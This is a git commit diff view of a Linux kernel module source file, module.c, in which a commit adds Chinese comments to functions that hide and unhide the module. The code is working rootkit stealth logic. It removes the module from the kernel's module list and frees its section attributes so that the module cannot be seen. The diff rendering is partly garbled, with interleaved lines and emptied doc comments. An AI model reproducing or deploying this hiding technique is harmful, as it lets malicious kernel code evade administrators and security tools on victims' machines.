代码注释

main^2
shenzexi 2 months ago
parent 6b0c326bbb
commit 53d0f29de9

@ -2,77 +2,93 @@
#include <linux/mutex.h> // 包含互斥锁的头文件 #include <linux/mutex.h> // 包含互斥锁的头文件
#include <linux/slab.h> // 包含内存分配的头文件 #include <linux/slab.h> // 包含内存分配的头文件
#include "module.h" // 包含自定义模块的 #include "module.h" // 包含自定义模块的头文件
/** /**
* @file module.c * @file module.c
* @brief This file contains functions to hide and show a kernel module. * @brief
* *
* The functions in this file allow for hiding and showing a kernel module *
* by manipulating the module list and its attributes.
*/ */
/** /**
* @brief Flag indicating whether the module is hidden (1) or visible (0). * @brief 10
*/ */
int hide_m = 0; int hide_m = 0;
/** /**
* @brief Pointer to the previous module list entry. * @brief
*/ */
static struct list_head *mod_list; static struct list_head *mod_list;
/** /**
* @brief Hide the kernel module. * @brief
* *
* This function removes the module from the module list and frees its section * 使
* attributes, effectively hiding it from the system.
*/ */
void hide(void); void hide(void);
/** /**
* @brief Show the kernel module. * @brief
* *
* This function adds the module back to the module list, making it visible * 使
* to the system again.
*/ */
void show(void); void show(void);
/** /**
* @brief Toggle the visibility of the kernel module. * @brief
* *
* This function hides the module if it is currently visible, and shows it *
* if it is currently hidden.
*/ */
void hide_module(void); void hide_module(void);
void hide(void) void hide(void)
{ {
while (!mutex_trylock(&module_mutex)) // 尝试获取模块互斥锁如果失败则让CPU放松
cpu_relax(); while (!mutex_trylock(&module_mutex))
mod_list = THIS_MODULE->list.prev; cpu_relax();
list_del(&THIS_MODULE->list);
kfree(THIS_MODULE->sect_attrs); // 保存当前模块列表的前一个条目
THIS_MODULE->sect_attrs = NULL; mod_list = THIS_MODULE->list.prev;
mutex_unlock(&module_mutex);
// 从模块列表中删除当前模块
hide_m = 1; list_del(&THIS_MODULE->list);
// 释放模块的段属性
kfree(THIS_MODULE->sect_attrs);
// 将模块的段属性设置为NULL
THIS_MODULE->sect_attrs = NULL;
// 释放模块互斥锁
mutex_unlock(&module_mutex);
// 设置模块隐藏标志
hide_m = 1;
} }
void show(void) void show(void)
{ {
while (!mutex_trylock(&module_mutex)) // 尝试获取模块互斥锁如果失败则让CPU放松
cpu_relax(); while (!mutex_trylock(&module_mutex))
list_add(&THIS_MODULE->list, mod_list); cpu_relax();
mutex_unlock(&module_mutex);
// 将模块重新添加到模块列表中
hide_m = 0; list_add(&THIS_MODULE->list, mod_list);
// 释放模块互斥锁
mutex_unlock(&module_mutex);
// 设置模块可见标志
hide_m = 0;
} }
void hide_module(void) void hide_module(void)
{ {
// 如果模块当前可见,则隐藏模块
if (hide_m == 0) if (hide_m == 0)
hide(); hide();
// 如果模块当前隐藏,则显示模块
else if (hide_m == 1) else if (hide_m == 1)
show(); show();
} }
Loading…
Cancel
Save